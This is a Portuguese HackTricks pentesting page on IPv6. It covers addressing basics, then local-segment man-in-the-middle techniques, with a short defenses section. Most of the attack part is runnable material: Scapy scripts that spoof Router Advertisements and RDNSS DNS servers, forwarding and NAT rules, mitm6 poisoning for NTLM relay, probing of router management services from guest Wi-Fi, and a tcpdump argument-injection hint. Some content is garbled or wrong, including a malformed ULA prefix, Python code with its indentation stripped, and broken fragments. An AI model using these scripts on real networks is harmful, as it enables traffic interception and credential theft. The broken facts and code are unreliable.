Pentesting IPv6

Reading time: 14 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Teoria Básica do IPv6

Redes

Os endereços IPv6 são estruturados para melhorar a organização da rede e a interação entre dispositivos. Um endereço IPv6 é dividido em:

  1. Prefixo da Rede: Os primeiros 48 bits, que determinam o segmento da rede.
  2. ID da Sub-rede: Os 16 bits seguintes, usados para definir sub-redes específicas dentro da rede.
  3. Identificador de Interface: Os 64 bits finais, que identificam de forma única um dispositivo dentro da sub-rede.

Enquanto o IPv6 omite o protocolo ARP encontrado no IPv4, ele introduz o ICMPv6 com duas mensagens principais:

  • Solicitação de Vizinhança (NS): Mensagens multicast para resolução de endereços.
  • Anúncio de Vizinhança (NA): Respostas unicast ao NS ou anúncios espontâneos.

O IPv6 também incorpora tipos especiais de endereços:

  • Endereço de Loopback (::1): Equivalente ao 127.0.0.1 do IPv4, para comunicação interna dentro do host.
  • Endereços Link-Local (FE80::/10): Para atividades de rede local, não para roteamento na internet. Dispositivos na mesma rede local podem se descobrir usando essa faixa.

Uso Prático do IPv6 em Comandos de Rede

Para interagir com redes IPv6, você pode usar vários comandos:

  • Ping Endereços Link-Local: Verifique a presença de dispositivos locais usando ping6.
  • Descoberta de Vizinhança: Use ip neigh para visualizar dispositivos descobertos na camada de link.
  • alive6: Uma ferramenta alternativa para descobrir dispositivos na mesma rede.

Abaixo estão alguns exemplos de comandos:

bash
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

Os endereços IPv6 podem ser derivados do endereço MAC de um dispositivo para comunicação local. Aqui está um guia simplificado sobre como derivar o endereço IPv6 Link-local a partir de um endereço MAC conhecido, e uma breve visão geral dos tipos de endereços IPv6 e métodos para descobrir endereços IPv6 dentro de uma rede.

Dado um endereço MAC 12:34:56:78:9a:bc, você pode construir o endereço IPv6 Link-local da seguinte forma:

  1. Converta o MAC para o formato IPv6: 1234:5678:9abc
  2. Adicione fe80:: e insira fffe no meio: fe80::1234:56ff:fe78:9abc
  3. Inverta o sétimo bit da esquerda, mudando 1234 para 1034: fe80::1034:56ff:fe78:9abc

Tipos de Endereços IPv6

  • Endereço Local Único (ULA): Para comunicações locais, não destinado ao roteamento na internet pública. Prefixo: FEC00::/7
  • Endereço Multicast: Para comunicação de um-para-muitos. Entregue a todas as interfaces no grupo multicast. Prefixo: FF00::/8
  • Endereço Anycast: Para comunicação de um-para-o-mais-perto. Enviado para a interface mais próxima conforme o protocolo de roteamento. Parte do intervalo de unicast global 2000::/3.

Prefixos de Endereço

  • fe80::/10: Endereços Link-Local (semelhante a 169.254.x.x)
  • fc00::/7: Unicast Local Único (semelhante a intervalos privados de IPv4 como 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Unicast Global
  • ff02::1: Multicast Todos os Nós
  • ff02::2: Multicast Nós Roteadores

Descobrindo Endereços IPv6 dentro de uma Rede

  1. Obtenha o endereço MAC de um dispositivo dentro da rede.
  2. Derive o endereço IPv6 Link-local a partir do endereço MAC.

Modo 2: Usando Multicast

  1. Envie um ping para o endereço multicast ff02::1 para descobrir endereços IPv6 na rede local.
bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Várias técnicas existem para executar ataques MitM em redes IPv6, como:

  • Falsificação de anúncios de vizinhos ou roteadores ICMPv6.
  • Uso de mensagens ICMPv6 de redirecionamento ou "Pacote Muito Grande" para manipular o roteamento.
  • Ataque a IPv6 móvel (geralmente requer que o IPSec esteja desativado).
  • Configuração de um servidor DHCPv6 malicioso.

Identificando Endereços IPv6 no eild

Explorando Subdomínios

Um método para encontrar subdomínios que estão potencialmente ligados a endereços IPv6 envolve aproveitar motores de busca. Por exemplo, empregar um padrão de consulta como ipv6.* pode ser eficaz. Especificamente, o seguinte comando de busca pode ser usado no Google:

bash
site:ipv6./

Utilizando Consultas DNS

Para identificar endereços IPv6, certos tipos de registros DNS podem ser consultados:

  • AXFR: Solicita uma transferência completa de zona, potencialmente revelando uma ampla gama de registros DNS.
  • AAAA: Busca diretamente endereços IPv6.
  • ANY: Uma consulta ampla que retorna todos os registros DNS disponíveis.

Probing com Ping6

Após identificar endereços IPv6 associados a uma organização, a utilidade ping6 pode ser usada para sondagem. Esta ferramenta ajuda a avaliar a capacidade de resposta dos endereços IPv6 identificados e pode também auxiliar na descoberta de dispositivos IPv6 adjacentes.

Técnicas de Ataque em Rede Local IPv6

As seções a seguir cobrem ataques práticos de camada 2 em IPv6 que podem ser executados dentro do mesmo segmento /64 sem conhecer nenhum prefixo global. Todos os pacotes mostrados abaixo são link-local e viajam apenas através do switch local, tornando-os extremamente furtivos na maioria dos ambientes.

Ajuste do Sistema para um Laboratório Estável

Antes de brincar com o tráfego IPv6, é recomendável fortalecer sua máquina para evitar ser envenenado por seus próprios testes e obter o melhor desempenho durante injeção/sniffing massivo de pacotes.

bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Sniffing Passivo de NDP & DHCPv6

Porque cada host IPv6 se junta automaticamente a múltiplos grupos multicast (ff02::1, ff02::2, …) e fala ICMPv6 para SLAAC/NDP, você pode mapear todo o segmento sem enviar um único pacote. O seguinte one-liner em Python/Scapy escuta as mensagens L2 mais interessantes e imprime um log colorido e com timestamp de quem é quem:

python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Resultado: uma topologia link-local completa (MAC ⇄ IPv6) em questão de segundos, sem acionar sistemas IPS/IDS que dependem de varreduras ativas.

Spoofing de Anúncios de Roteador (RA)

Hosts IPv6 dependem de Anúncios de Roteador ICMPv6 para descoberta do gateway padrão. Se você injetar RAs forjados mais frequentemente do que o roteador legítimo, os dispositivos mudarão silenciosamente para você como o gateway.

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Para realmente encaminhar o tráfego após vencer a corrida:

bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Router Advertisement Flags (M/O) & Default Router Preference (Prf)

FlagSignificadoEfeito no Comportamento do Cliente
M (Configuração de Endereço Gerenciado)Quando definido como 1, o host DEVE usar DHCPv6 para obter seu endereço IPv6.Todo o endereçamento vem do DHCPv6 – perfeito para envenenamento estilo mitm6.
O (Outra Configuração)Quando definido como 1, o host deve usar DHCPv6 apenas para obter outras informações (DNS, NTP, …).Endereço ainda via SLAAC, mas o DNS pode ser sequestrado com DHCPv6.
M=0 / O=0Rede puramente SLAAC.Apenas truques RA / RDNSS são possíveis – DHCPv6 não será enviado pelos clientes.
M=1 / O=1Ambiente misto.Tanto DHCPv6 quanto SLAAC são usados; a superfície para spoofing é a maior.

Durante um pentest, você pode simplesmente inspecionar o RA legítimo uma vez e decidir qual vetor é viável:

bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Procure o campo flags [M,O] no dump – sem necessidade de adivinhação.

O campo Prf (Preferência do Roteador) dentro do cabeçalho RA controla quão atraente seu roteador malicioso parece quando múltiplos gateways estão presentes:

Valor do PrfBinárioSignificado
Alto10Clientes preferem este roteador em relação a qualquer um Médio/Baixo
Médio (padrão)01Usado pela quase totalidade dos dispositivos legítimos
Baixo00Escolhido apenas quando não existe um roteador melhor

Ao gerar o pacote com Scapy, você pode configurá-lo através do parâmetro prf, como mostrado acima (prf=0x1 → Alto). Combinar Alto Prf, um intervalo curto e uma vida útil não zero torna seu gateway malicioso notavelmente estável.


Spoofing RDNSS (DNS) via RA

RFC 8106 permite adicionar uma opção Servidor DNS Recursivo (RDNSS) dentro de um RA. Sistemas operacionais modernos (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) confiam automaticamente nisso:

python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Os clientes irão preparar seu DNS na lista de resolutores para o tempo de vida dado, concedendo total sequestro de DNS até que o valor expire ou você envie um lifetime=0 para reverter.

Spoofing de DNS DHCPv6 (mitm6)

Em vez de SLAAC, redes Windows frequentemente dependem de DHCPv6 sem estado para DNS. mitm6 responde automaticamente a mensagens Solicit com um fluxo Advertise → Reply que atribui seu endereço link-local como DNS por 300 segundos. Isso desbloqueia:

  • Ataques de relé NTLM (WPAD + sequestro de DNS)
  • Interceptação da resolução de nomes internos sem tocar nos roteadores

Uso típico:

bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning

Defesas

  • RA Guard / DHCPv6 Guard / ND Inspection em switches gerenciados.
  • ACLs de porta que permitem apenas o MAC do roteador legítimo para enviar RAs.
  • Monitorar por RAs de alta taxa não sólidas ou mudanças súbitas de RDNSS.
  • Desabilitar IPv6 em endpoints é uma solução temporária que muitas vezes quebra serviços modernos e oculta pontos cegos – prefira filtragem L2 em vez disso.

Descoberta de Roteador NDP em SSIDs de Convidados/Públicos e Exposição de Serviços de Gerenciamento

Muitos roteadores de consumo expõem daemons de gerenciamento (HTTP(S), SSH/Telnet, TR-069, etc.) em todas as interfaces. Em algumas implementações, o SSID “convidado/público” é conectado ao WAN/core e é apenas IPv6. Mesmo que o IPv6 do roteador mude a cada inicialização, você pode aprendê-lo de forma confiável usando NDP/ICMPv6 e, em seguida, conectar-se diretamente ao plano de gerenciamento a partir do SSID de convidados.

Fluxo de trabalho típico de um cliente conectado ao SSID de convidados/públicos:

  1. Descubra o roteador via Solicitação de Roteador ICMPv6 para o multicast de Todos os Roteadores ff02::2 e capture o Anúncio de Roteador (RA):
bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

O RA revela o endereço/prefixo link-local do roteador e, muitas vezes, um endereço/prefixo global. Se apenas um link-local for conhecido, lembre-se de que as conexões devem especificar o índice da zona, por exemplo, ssh -6 admin@[fe80::1%wlan0].

Alternativa: use a suíte ndisc6 se disponível:

bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Acesse serviços expostos via IPv6 a partir da SSID do convidado:
bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Se o shell de gerenciamento fornecer ferramentas de captura de pacotes via um wrapper (por exemplo, tcpdump), verifique a injeção de argumento/nome de arquivo que permite passar flags extras do tcpdump como -G/-W/-z para alcançar a execução de comandos pós-rotação. Veja:

Wildcards Spare tricks

Defesas/anotações:

  • Não vincule o gerenciamento a pontes públicas/guest; aplique firewalls IPv6 nas pontes SSID.
  • Limite a taxa e filtre NDP/RS/RA em segmentos de convidados onde for viável.
  • Para serviços que devem ser acessíveis, imponha authN/MFA e limites de taxa fortes.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks